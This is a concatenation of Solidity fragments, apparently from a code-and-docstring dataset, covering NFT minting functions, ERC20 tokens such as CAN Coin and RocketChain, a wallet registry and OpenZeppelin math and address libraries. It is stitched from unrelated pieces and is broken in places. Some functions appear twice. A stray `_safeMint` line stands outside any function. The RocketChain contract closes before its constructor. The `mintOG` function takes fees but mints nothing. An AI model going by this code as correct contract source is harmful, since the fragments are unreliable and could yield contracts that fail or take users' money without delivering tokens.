function mintOG(address _to, uint _mintCount) public payable {
uint256 supply = totalSupply();
require(!paused, "NFT mint is paused.");
require(_mintCount <= maxPerMintCount, "You can only 10 NFTs per Transaction.");
require(supply + _mintCount <= maxSupply, "MaxSupply is limited.");
for (uint256 i = 1; i <= _mintCount; i++) {
if(tier1OGMintedSupply > tier2OGMintedSupply) {
require(tier2OGMintedSupply < tier2OGSupply, "Tier 2 OG Supply limited.");
if (msg.sender != owner()) {
require(msg.value >= OGPrice * _mintCount, 'Not enough fees to mint.');
}
tier2OGMintedSupply ++;
}
else {
require(tier1OGMintedSupply < tier1OGSupply, "Tier 1 OG Supply limited.");
if (msg.sender != owner()) {
require(msg.value >= OGPrice * _mintCount, 'Not enough fees to mint.');
}
tier1OGMintedSupply ++;
}
}
}
function mintOG(address _to, uint _mintCount) public payable {
uint256 supply = totalSupply();
require(!paused, "NFT mint is paused.");
require(_mintCount <= maxPerMintCount, "You can only 10 NFTs per Transaction.");
require(supply + _mintCount <= maxSupply, "MaxSupply is limited.");
for (uint256 i = 1; i <= _mintCount; i++) {
if(tier1OGMintedSupply > tier2OGMintedSupply) {
require(tier2OGMintedSupply < tier2OGSupply, "Tier 2 OG Supply limited.");
if (msg.sender != owner()) {
require(msg.value >= OGPrice * _mintCount, 'Not enough fees to mint.');
}
tier2OGMintedSupply ++;
}
else {
require(tier1OGMintedSupply < tier1OGSupply, "Tier 1 OG Supply limited.");
if (msg.sender != owner()) {
require(msg.value >= OGPrice * _mintCount, 'Not enough fees to mint.');
}
tier1OGMintedSupply ++;
}
}
}
_safeMint(_to, 750 - tier1OGMintedSupply);
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent NFT"
);
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
function setMaxSupply(uint256 _newSupply) public onlyOwner() {
maxSupply = _newSupply;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function withdraw() public payable onlyOwner {
require(payable(teamWallet).send(address(this).balance));
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function publicSaleStart(bool _state) public onlyOwner {
publicSaleStarted = _state;
}
function setTier1Price(uint256 _price) public onlyOwner {
tier1Price = _price;
}
function setTier2Price(uint256 _price) public onlyOwner {
tier2Price = _price;
}
function setSpecialPrice(uint256 _price) public onlyOwner {
specialPrice = _price;
}
function setOGPrice(uint256 _price) public onlyOwner {
OGPrice = _price;
}
function setTeamWallet(address _addr) public onlyOwner {
teamWallet = _addr;
}
function setMaxPerMintCount(uint256 _count) public onlyOwner {
maxPerMintCount = _count;
}
function setTier1OGSupply(uint256 _supply) public onlyOwner {
tier1OGSupply = _supply;
}
function setTier2OGSupply(uint256 _supply) public onlyOwner {
tier2OGSupply = _supply;
}
}
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] |
./partial_match/3/0xDEFc008BAC1e38F13F081DDD20acf89985DFa7C8/sources/BoostedSavingsVault.sol
|
* @dev TokenWrapper constructor @param _stakingToken Wrapped token to be staked @param _stakingContract mStable MTA Staking contract/
|
constructor(address _stakingToken, address _stakingContract) internal {
stakingToken = IERC20(_stakingToken);
stakingContract = IIncentivisedVotingLockup(_stakingContract);
}
| 5,072,163
|
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pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'CAN' token contract
//
// Deployed to : 0x2A7566f25B8ec8A96487dc2a453013d01c682CdB
// Symbol : CAN
// Name : CAN Coin
// Total supply: 1000000000
// Decimals : 18
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract CanToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function CanToken() public {
symbol = "CAN";
name = "CAN Coin";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
balances[0x2A7566f25B8ec8A96487dc2a453013d01c682CdB] = _totalSupply;
Transfer(address(0), 0x2A7566f25B8ec8A96487dc2a453013d01c682CdB, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
---------------------------------------------------------------------------- ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers ---------------------------------------------------------------------------- ------------------------------------------------------------------------ Constructor ------------------------------------------------------------------------
|
contract CanToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function CanToken() public {
symbol = "CAN";
name = "CAN Coin";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
balances[0x2A7566f25B8ec8A96487dc2a453013d01c682CdB] = _totalSupply;
Transfer(address(0), 0x2A7566f25B8ec8A96487dc2a453013d01c682CdB, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
| 15,344,597
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./partial_match/3/0xC66e44DF7F49753fA27034ECf655Cc3DA3474AE5/sources/RocketChain.sol
|
* @title SwapDex token @notice ERC20 token @dev Optional approveAndCall() functionality to notify a contract if an approve() has occurred./
|
contract RocketChain is ERC20, ERC20Detailed('RocketChian', 'RKT', 18) {
}
constructor (uint256 _totalSupplyOfTokens) {
_mint(msg.sender, _totalSupplyOfTokens);
}
function approveAndCall(address _spender, uint256 _value, bytes calldata _extraData)
external returns (bool success)
{
approve(_spender, _value);
TokenRecipient(_spender).receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
| 5,272,395
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./full_match/3/0x967328588D821b4306fe8F0592faFE94eC930429/sources/contracts/Token5.sol
|
* @dev Moves tokens `amount` from `sender` to `recipient`. This is internal function is equivalent to {transfer}, and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event. Requirements: - `sender` cannot be the zero address. - `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`./
|
function _transfer(address sender, address recipient, uint256 amount) internal virtual override {
super._transfer(sender, recipient, amount);
}
| 8,243,805
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pragma solidity ^0.5.2;
import "./UserWallet.sol";
/// @title AddressRegistry
/// @notice
/// @dev
contract AddressRegistry {
event LogSetAddress(string name, address addr);
/// @notice Registry of role and address
mapping(bytes32 => address) registry;
/**
* @dev Check if msg.sender is admin or owner.
*/
modifier isAdmin() {
require(
msg.sender == getAddress("admin") ||
msg.sender == getAddress("owner"),
"permission-denied"
);
_;
}
/// @dev Get the address from system registry
/// @param _name (string)
/// @return (address) Returns address based on role
function getAddress(string memory _name) public view returns(address) {
return registry[keccak256(abi.encodePacked(_name))];
}
/// @dev Set new address in system registry
/// @param _name (string) Role name
/// @param _userAddress (string) User Address
function setAddress(string memory _name, address _userAddress) public isAdmin {
registry[keccak256(abi.encodePacked(_name))] = _userAddress;
emit LogSetAddress(_name, _userAddress);
}
}
/// @title LogicRegistry
/// @notice
/// @dev LogicRegistry
contract LogicRegistry is AddressRegistry {
event LogEnableStaticLogic(address logicAddress);
event LogEnableLogic(address logicAddress);
event LogDisableLogic(address logicAddress);
/// @notice Map of static proxy state
mapping(address => bool) public logicProxiesStatic;
/// @notice Map of logic proxy state
mapping(address => bool) public logicProxies;
/// @dev
/// @param _logicAddress (address)
/// @return (bool)
function logic(address _logicAddress) public view returns (bool) {
if (logicProxiesStatic[_logicAddress] || logicProxies[_logicAddress]) {
return true;
}
return false;
}
/// @dev
/// @param _logicAddress (address)
/// @return (bool)
function logicStatic(address _logicAddress) public view returns (bool) {
if (logicProxiesStatic[_logicAddress]) {
return true;
}
return false;
}
/// @dev Sets the static logic proxy to true
/// static proxies mostly contains the logic for withdrawal of assets
/// and can never be false to freely let user withdraw their assets
/// @param _logicAddress (address)
function enableStaticLogic(address _logicAddress) public isAdmin {
logicProxiesStatic[_logicAddress] = true;
emit LogEnableStaticLogic(_logicAddress);
}
/// @dev Enable logic proxy address
/// @param _logicAddress (address)
function enableLogic(address _logicAddress) public isAdmin {
logicProxies[_logicAddress] = true;
emit LogEnableLogic(_logicAddress);
}
/// @dev Disable logic proxy address
/// @param _logicAddress (address)
function disableLogic(address _logicAddress) public isAdmin {
logicProxies[_logicAddress] = false;
emit LogDisableLogic(_logicAddress);
}
}
/**
* @dev Deploys a new proxy instance and sets msg.sender as owner of proxy
*/
contract WalletRegistry is LogicRegistry {
event Created(address indexed sender, address indexed owner, address proxy);
event LogRecord(address indexed currentOwner, address indexed nextOwner, address proxy);
/// @notice Address to UserWallet proxy map
mapping(address => UserWallet) public proxies;
/// @dev Deploys a new proxy instance and sets custom owner of proxy
/// Throws if the owner already have a UserWallet
/// @return proxy ()
function build() public returns (UserWallet proxy) {
proxy = build(msg.sender);
}
/// @dev update the proxy record whenever owner changed on any proxy
/// Throws if msg.sender is not a proxy contract created via this contract
/// @return proxy () UserWallet
function build(address _owner) public returns (UserWallet proxy) {
require(proxies[_owner] == UserWallet(0), "multiple-proxy-per-user-not-allowed");
proxy = new UserWallet();
proxies[address(this)] = proxy; // will be changed via record() in next line execution
proxy.setOwner(_owner);
emit Created(msg.sender, _owner, address(proxy));
}
/// @dev Transafers ownership
/// @param _currentOwner (address) Current Owner
/// @param _nextOwner (address) Next Owner
function record(address _currentOwner, address _nextOwner) public {
require(msg.sender == address(proxies[_currentOwner]), "invalid-proxy-or-owner");
require(proxies[_nextOwner] == UserWallet(0), "multiple-proxy-per-user-not-allowed");
proxies[_nextOwner] = proxies[_currentOwner];
proxies[_currentOwner] = UserWallet(0);
emit LogRecord(_currentOwner, _nextOwner, address(proxies[_nextOwner]));
}
}
/// @title InstaRegistry
/// @dev Initializing Registry
contract InstaRegistry is WalletRegistry {
constructor() public {
registry[keccak256(abi.encodePacked("admin"))] = msg.sender;
registry[keccak256(abi.encodePacked("owner"))] = msg.sender;
}
}
|
@dev Get the address from system registry @param _name (string) @return (address) Returns address based on role
|
function getAddress(string memory _name) public view returns(address) {
return registry[keccak256(abi.encodePacked(_name))];
}
| 5,395,385
|
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./full_match/4/0x0A87021D82453AB0B18a375aFfdB8C689e05A182/sources/sirtoken3.sol
|
* @dev Mints tokens to address. @param address_ address @param amount_ uint256 @notice Requires: - ValidAddress(account_) non 0 address - ValidAmount(amount_) non 0 amount @notice Emits: {Minted} address address_, uint256 amount_/
|
function __mint(
address address_,
uint256 amount_
) internal virtual {
uint256 newtotal = Total.supply.add(amount_);
require(newtotal <= _initialSupply, "mint>max");
Total.supply = newtotal;
Total.current = Total.current.add(amount_);
addTokens(address_, amount_);
emit Minted(address_, amount_);
emit Transfer(address(0), address_, amount_);
}
| 12,425,004
|
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// File: @openzeppelin/contracts/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
